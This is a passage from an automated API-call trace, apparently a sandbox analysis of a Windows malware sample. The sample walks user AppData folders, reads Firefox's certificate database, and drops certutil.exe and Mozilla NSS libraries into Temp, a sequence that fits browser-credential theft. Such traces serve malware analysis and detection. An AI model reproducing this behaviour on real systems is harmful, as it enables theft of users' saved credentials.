IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 134 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 131 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 130 [0116.760] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 132 [0116.760] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0116.760] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.760] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.761] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.761] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.761] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\1033\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0116.761] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0116.761] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.761] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.761] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.761] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.761] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.761] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.762] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.762] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.762] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.762] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.762] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.762] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.780] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.781] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.781] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.781] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.781] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.781] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.782] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.782] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.782] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.782] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.782] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.782] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.782] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.782] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.783] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.783] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.783] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.783] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.783] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.783] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.783] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.784] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.784] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.784] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.784] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.785] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.785] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.787] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.787] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.788] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.788] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.788] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.788] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.788] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.788] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.788] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.788] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.789] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.789] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.789] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.789] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.789] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.789] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.789] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.789] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.790] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.790] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.790] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.790] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.790] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.791] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.791] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.791] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.791] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.791] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.792] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.792] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.792] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.792] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.793] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.793] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.793] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.793] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.793] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.793] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.793] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.793] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.793] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0116.794] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0116.794] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x2a6b8b0 | out: lpFindFileData=0x2a6b8b0) returned 0x85b3e0 [0116.794] FindClose (in: hFindFile=0x85b3e0 | out: hFindFile=0x85b3e0) returned 1 [0116.794] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0116.794] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0116.794] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.794] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.795] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.795] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.795] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.795] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.795] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.795] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.795] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.795] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Teetfo\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.795] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.795] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.795] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.796] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Utobyg\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0116.796] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0116.796] FindClose (in: hFindFile=0x85b1a0 | out: hFindFile=0x85b1a0) returned 1 [0116.796] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\cert8.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\cert8.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0116.796] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2a6f330 | out: lpFileSize=0x2a6f330*=65536) returned 1 [0116.796] CloseHandle (hObject=0x448) returned 1 [0116.796] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\cert8.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\cert8.db"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0116.796] ReadFile (in: hFile=0x448, lpBuffer=0x2b40048, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2a6f36c, lpOverlapped=0x0 | out: lpBuffer=0x2b40048*, lpNumberOfBytesRead=0x2a6f36c*=0x10000, lpOverlapped=0x0) returned 1 [0116.797] CloseHandle (hObject=0x448) returned 1 [0116.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a6e788, cbMultiByte=14, lpWideCharStr=0x2a6e7e0, cchWideChar=50 | out: lpWideCharStr="Byheq\\hybe.ifi") returned 14 [0116.798] PathCombineW (in: pszDest=0x2a6ec24, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Byheq\\hybe.ifi" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" [0116.798] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0116.798] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2a6e830 | out: lpFileSize=0x2a6e830*=13422020) returned 1 [0116.798] VirtualAlloc (lpAddress=0x0, dwSize=0xcccdc4, flAllocationType=0x3000, flProtect=0x4) returned 0x36a0000 [0116.799] ReadFile (in: hFile=0x448, lpBuffer=0x36a0000, nNumberOfBytesToRead=0xcccdc4, lpNumberOfBytesRead=0x2a6e82c, lpOverlapped=0x0 | out: lpBuffer=0x36a0000*, lpNumberOfBytesRead=0x2a6e82c*=0xcccdc4, lpOverlapped=0x0) returned 1 [0117.795] PathRemoveBackslashW (in: pszPath="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp") returned="" [0117.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5270024, cbMultiByte=12, lpWideCharStr=0x8b64c0, cchWideChar=13 | out: lpWideCharStr="certutil.exe") returned 12 [0117.795] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe") returned 49 [0117.795] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\certutil.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.796] WriteFile (in: hFile=0x448, lpBuffer=0x5270035*, nNumberOfBytesToWrite=0x19600, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x5270035*, lpNumberOfBytesWritten=0x2a6ebdc*=0x19600, lpOverlapped=0x0) returned 1 [0117.797] CloseHandle (hObject=0x448) returned 1 [0117.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5289635, cbMultiByte=11, lpWideCharStr=0x8b64c0, cchWideChar=12 | out: lpWideCharStr="freebl3.dll") returned 11 [0117.799] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\freebl3.dll") returned 48 [0117.799] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\freebl3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\freebl3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.799] WriteFile (in: hFile=0x448, lpBuffer=0x5289645*, nNumberOfBytesToWrite=0x36400, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x5289645*, lpNumberOfBytesWritten=0x2a6ebdc*=0x36400, lpOverlapped=0x0) returned 1 [0117.801] CloseHandle (hObject=0x448) returned 1 [0117.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x52bfa45, cbMultiByte=12, lpWideCharStr=0x8b64c0, cchWideChar=13 | out: lpWideCharStr="libnspr4.dll") returned 12 [0117.804] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libnspr4.dll") returned 49 [0117.804] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libnspr4.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\libnspr4.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.804] WriteFile (in: hFile=0x448, lpBuffer=0x52bfa56*, nNumberOfBytesToWrite=0x30c00, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x52bfa56*, lpNumberOfBytesWritten=0x2a6ebdc*=0x30c00, lpOverlapped=0x0) returned 1 [0117.806] CloseHandle (hObject=0x448) returned 1 [0117.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x52f0656, cbMultiByte=11, lpWideCharStr=0x8b64c0, cchWideChar=12 | out: lpWideCharStr="libplc4.dll") returned 11 [0117.808] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libplc4.dll") returned 48 [0117.808] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libplc4.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\libplc4.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.809] WriteFile (in: hFile=0x448, lpBuffer=0x52f0666*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x52f0666*, lpNumberOfBytesWritten=0x2a6ebdc*=0x3800, lpOverlapped=0x0) returned 1 [0117.810] CloseHandle (hObject=0x448) returned 1 [0117.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x52f3e66, cbMultiByte=12, lpWideCharStr=0x8b64c0, cchWideChar=13 | out: lpWideCharStr="libplds4.dll") returned 12 [0117.810] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libplds4.dll") returned 49 [0117.810] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libplds4.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\libplds4.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.811] WriteFile (in: hFile=0x448, lpBuffer=0x52f3e77*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x52f3e77*, lpNumberOfBytesWritten=0x2a6ebdc*=0x3000, lpOverlapped=0x0) returned 1 [0117.811] CloseHandle (hObject=0x448) returned 1 [0117.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x52f6e77, cbMultiByte=12, lpWideCharStr=0x8b64c0, cchWideChar=13 | out: lpWideCharStr="msvcr100.dll") returned 12 [0117.812] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\msvcr100.dll") returned 49 [0117.812] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\msvcr100.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\msvcr100.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.812] WriteFile (in: hFile=0x448, 